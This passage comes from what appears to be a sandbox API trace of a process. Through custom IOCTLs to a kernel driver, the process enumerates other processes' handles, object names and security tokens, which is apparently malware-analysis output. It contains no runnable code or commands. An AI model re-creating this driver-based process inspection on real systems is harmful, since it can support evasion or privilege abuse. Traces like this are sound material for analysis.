cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.435] CloseHandle (hObject=0xc8) returned 1 [0072.435] CloseHandle (hObject=0xc0) returned 1 [0072.435] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.435] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.435] PsAcquireProcessExitSynchronization () returned 0x0 [0072.435] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054f85d0) [0072.435] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fae480, HandleInformation=0x0) returned 0x0 [0072.435] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.435] PsReleaseProcessExitSynchronization () returned 0x2 [0072.435] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0072.435] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039fa044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039fa044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.435] ObfDereferenceObject (Object=0xfffffa8001fae480) returned 0x1 [0072.435] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.435] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.435] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.436] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0072.436] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.436] PsAcquireProcessExitSynchronization () returned 0x0 [0072.436] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054f85d0) [0072.436] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a18550, HandleInformation=0x0) returned 0x0 [0072.436] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.436] PsReleaseProcessExitSynchronization () returned 0x2 [0072.436] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0072.436] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039fb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039fb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.436] ObfDereferenceObject (Object=0xfffffa8001a18550) returned 0x1 [0072.436] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.436] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.436] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.436] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.436] PsLookupProcessByProcessId (in: ProcessId=0x664, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.436] PsAcquireProcessExitSynchronization () returned 0x0 [0072.436] KeStackAttachProcess (in: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fb3b30, ApcState=0xfffff880054f85d0) [0072.436] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.436] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.436] PsReleaseProcessExitSynchronization () returned 0x2 [0072.436] ObfDereferenceObject (Object=0xfffffa8001fb3b30) returned 0x10 [0072.436] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80039fc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039fc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.436] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.436] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.436] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.436] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5e4) returned 0xc0 [0072.437] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.437] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001fc4b30, HandleInformation=0x0) returned 0x0 [0072.437] ObOpenObjectByPointer (in: Object=0xfffffa8001fc4b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000960) returned 0x0 [0072.437] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x12 [0072.437] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.437] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0072.437] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.437] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.437] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.439] CloseHandle (hObject=0xc8) returned 1 [0072.439] CloseHandle (hObject=0xc0) returned 1 [0072.439] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.439] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.439] PsAcquireProcessExitSynchronization () returned 0x0 [0072.439] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054f85d0) [0072.439] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fc9350, HandleInformation=0x0) returned 0x0 [0072.439] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.439] PsReleaseProcessExitSynchronization () returned 0x2 [0072.439] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0072.439] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039fe044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039fe044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.439] ObfDereferenceObject (Object=0xfffffa8001fc9350) returned 0x1 [0072.439] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.439] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.439] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.439] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0072.439] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.439] PsAcquireProcessExitSynchronization () returned 0x0 [0072.439] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054f85d0) [0072.439] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fc49f0, HandleInformation=0x0) returned 0x0 [0072.439] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.439] PsReleaseProcessExitSynchronization () returned 0x2 [0072.439] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0072.439] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039ff044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039ff044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.439] ObfDereferenceObject (Object=0xfffffa8001fc49f0) returned 0x1 [0072.439] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.440] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.440] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.440] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.440] PsLookupProcessByProcessId (in: ProcessId=0x5e4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.440] PsAcquireProcessExitSynchronization () returned 0x0 [0072.440] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc4b30, ApcState=0xfffff880054f85d0) [0072.440] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.440] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.440] PsReleaseProcessExitSynchronization () returned 0x2 [0072.440] ObfDereferenceObject (Object=0xfffffa8001fc4b30) returned 0x10 [0072.440] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a00044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a00044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.440] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.440] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.440] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.440] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2dc) returned 0xc0 [0072.440] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.440] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001fc8b30, HandleInformation=0x0) returned 0x0 [0072.440] ObOpenObjectByPointer (in: Object=0xfffffa8001fc8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000960) returned 0x0 [0072.440] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x12 [0072.440] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.440] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0072.440] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.440] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.440] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.442] CloseHandle (hObject=0xc8) returned 1 [0072.442] CloseHandle (hObject=0xc0) returned 1 [0072.442] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.442] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.442] PsAcquireProcessExitSynchronization () returned 0x0 [0072.442] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054f85d0) [0072.442] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fe1f20, HandleInformation=0x0) returned 0x0 [0072.442] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.442] PsReleaseProcessExitSynchronization () returned 0x2 [0072.442] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0072.442] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a01044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a01044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.442] ObfDereferenceObject (Object=0xfffffa8001fe1f20) returned 0x1 [0072.442] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.442] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.442] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0072.443] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.443] PsAcquireProcessExitSynchronization () returned 0x0 [0072.443] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054f85d0) [0072.443] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fe1b50, HandleInformation=0x0) returned 0x0 [0072.443] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.443] PsReleaseProcessExitSynchronization () returned 0x2 [0072.443] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0072.443] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a02044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a02044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.443] ObfDereferenceObject (Object=0xfffffa8001fe1b50) returned 0x1 [0072.443] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.443] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.443] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.443] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.443] PsLookupProcessByProcessId (in: ProcessId=0x2dc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.443] PsAcquireProcessExitSynchronization () returned 0x0 [0072.443] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc8b30, ApcState=0xfffff880054f85d0) [0072.443] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.443] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.443] PsReleaseProcessExitSynchronization () returned 0x2 [0072.443] ObfDereferenceObject (Object=0xfffffa8001fc8b30) returned 0x10 [0072.443] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a03044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a03044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.443] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.443] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.443] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.443] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x42c) returned 0xc0 [0072.443] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.443] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002003b30, HandleInformation=0x0) returned 0x0 [0072.443] ObOpenObjectByPointer (in: Object=0xfffffa8002003b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000960) returned 0x0 [0072.443] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x12 [0072.443] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.443] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0072.443] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.443] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.444] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.445] CloseHandle (hObject=0xc8) returned 1 [0072.445] CloseHandle (hObject=0xc0) returned 1 [0072.445] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.445] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.445] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.445] PsAcquireProcessExitSynchronization () returned 0x0 [0072.445] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054f85d0) [0072.445] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001ff2980, HandleInformation=0x0) returned 0x0 [0072.445] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.445] PsReleaseProcessExitSynchronization () returned 0x2 [0072.445] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0072.445] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a04044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a04044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.445] ObfDereferenceObject (Object=0xfffffa8001ff2980) returned 0x1 [0072.445] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.445] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.445] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.445] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0072.446] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.446] PsAcquireProcessExitSynchronization () returned 0x0 [0072.446] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880054f85d0) [0072.446] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f79e50, HandleInformation=0x0) returned 0x0 [0072.446] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.446] PsReleaseProcessExitSynchronization () returned 0x2 [0072.446] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0072.446] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a05044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a05044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.446] ObfDereferenceObject (Object=0xfffffa8001f79e50) returned 0x1 [0072.446] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.446] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.446] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.446] PsLookupProcessByProcessId (in: ProcessId=0x42c, 